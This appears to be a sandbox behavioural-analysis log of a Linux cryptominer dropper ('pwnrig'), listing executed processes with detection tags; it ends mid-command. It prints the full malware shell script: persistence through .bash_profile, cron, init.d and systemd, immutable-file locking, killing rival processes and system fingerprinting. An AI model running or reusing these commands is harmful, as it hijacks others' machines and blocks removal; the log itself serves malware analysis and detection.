/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"2⤵
- Writes file to tmp directory
PID:4361 -
/usr/bin/idid -u3⤵PID:4362
-
-
/usr/bin/idid -u3⤵PID:4363
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"3⤵PID:4364
-
-
/usr/bin/rmrm -rf /bin/bprofr3⤵PID:4365
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"3⤵PID:4366
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr3⤵
- Writes file to system bin folder
PID:4367
-
-
/usr/bin/idid -u3⤵PID:4368
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"3⤵PID:4369
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove3⤵PID:4435
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:4436
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:4436
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:4436
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵PID:4436
-
-
-
/usr/bin/rmrm -rf /bin/initdr3⤵PID:4462
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr3⤵
- Writes file to system bin folder
PID:4463
-
-
/usr/bin/teetee /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:4465
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:4466
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr3⤵PID:4467
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults3⤵PID:4468
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:4469
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:4469
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:4469
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵PID:4469
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable3⤵PID:4495
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:4496
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig4⤵PID:4496
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:4496
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig4⤵PID:4496
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:4497
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:4497
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:4497
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:4497
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr3⤵PID:4523
-
-
/usr/bin/whichwhich systemctl3⤵PID:4524
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵
- Attempts to change immutable files
PID:4525
-
-
/usr/bin/rmrm -rf /bin/sysdr3⤵PID:4526
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr3⤵
- Writes file to system bin folder
PID:4527
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Modifies systemd
PID:4529
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵PID:4530
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵PID:4531
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service3⤵
- Reads EFI boot settings
PID:4532
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service3⤵PID:4558
-
-
/usr/bin/systemctlsystemctl daemon-reload3⤵
- Reads EFI boot settings
PID:4584
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service3⤵PID:4610
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:4326
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4328
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:4333
-
/usr/bin/headhead -n 11⤵PID:4332
-
/usr/bin/grepgrep "Port "1⤵PID:4331
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:4330
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:4342
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:4341
-
/usr/bin/cutcut -d: -f21⤵PID:4340
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:4339
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4345
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4348
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4351
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:4667 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:4691
-
/usr/bin/whoamiwhoami3⤵PID:4702
-
-
/usr/bin/hostnamehostname3⤵PID:4703
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵PID:4704
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:4720
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:4722
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵PID:4721
-
-
/usr/bin/idid -u3⤵PID:4724
-
-
/usr/bin/grepgrep -v grep3⤵PID:4727
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:4726
-
-
/usr/bin/psps x3⤵
- Reads runtime system information
PID:4725
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:4729
-
/usr/bin/idid -u3⤵PID:4730
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:4735
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd3⤵PID:4734
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵PID:4733
-
-
/usr/bin/grepgrep -v grep3⤵PID:4732
-
-
/usr/bin/psps aux3⤵
- Reads CPU attributes
- Reads runtime system information
PID:4731
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵PID:4737
-
/usr/bin/idid -u3⤵PID:4738
-
-
-
/usr/bin/hostnamehostname -I1⤵
- Attempts to change immutable files
PID:4694
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4696
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:4701
-
/usr/bin/headhead -n 11⤵PID:4700
-
/usr/bin/grepgrep "Port "1⤵PID:4699
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:4698
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:4710
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:4709
-
/usr/bin/cutcut -d: -f21⤵PID:4708
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵PID:4707
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4713
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4716
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4719
-
/usr/bin/wcwc -l1⤵PID:4744
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:4743
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:4742
-
/usr/bin/grepgrep -v grep1⤵PID:4741
-
/usr/bin/psps aux1⤵
- Reads CPU attributes
- Reads runtime system information
PID:4740
-
/usr/bin/crontabcrontab -r1⤵PID:4747
-
/usr/bin/pkillpkill -f .klibsystem51⤵
- Reads CPU attributes
- Reads runtime system information
PID:4748
-
/usr/bin/pkillpkill -f .klibsystem41⤵
- Reads CPU attributes
PID:4749
-
/usr/bin/bashbash -c "echo \"* * * * * /tmp/.klibsystem5 >/dev/null 2>&1\" | crontab -"1⤵PID:4750
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:4752
-
-
/usr/bin/chattrchattr -ia /etc/cron.d/.lib-knlib41⤵
- Attempts to change immutable files
PID:4753
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib41⤵
- Attempts to change immutable files
PID:4754
-
/usr/bin/chattrchattr -ia /var/spool/cron/.lib-knlib41⤵PID:4755
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib41⤵PID:4756
-
/usr/bin/chattrchattr -ia /etc/cron.hourly/.lib-knlib41⤵PID:4757
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib41⤵PID:4758
-
/usr/bin/chattrchattr -ia /etc/cron.daily/.lib-knlib41⤵PID:4759
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib41⤵PID:4760
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/.lib-knlib41⤵PID:4761
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib41⤵PID:4762
-
/usr/bin/chattrchattr -ia /etc/cron.monthly/.lib-knlib41⤵PID:4763
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib41⤵
- Attempts to change immutable files
PID:4764
-
/usr/bin/chattrchattr -ia /etc/anacrontab1⤵PID:4765
-
/usr/bin/chattrchattr +ia /etc/anacrontab1⤵PID:4766
-
/tmp/sys-helper/tmp/sys-helper1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:4767
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:4768 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:4769
-
/usr/bin/whoamiwhoami3⤵PID:4780
-
-
/usr/bin/hostnamehostname3⤵PID:4781
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:4782
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:4798
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:4800
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵PID:4799
-
-
/usr/bin/idid -u3⤵PID:4802
-
-
/usr/bin/grepgrep -v grep3⤵PID:4805
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:4804
-
-
/usr/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
PID:4803
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart 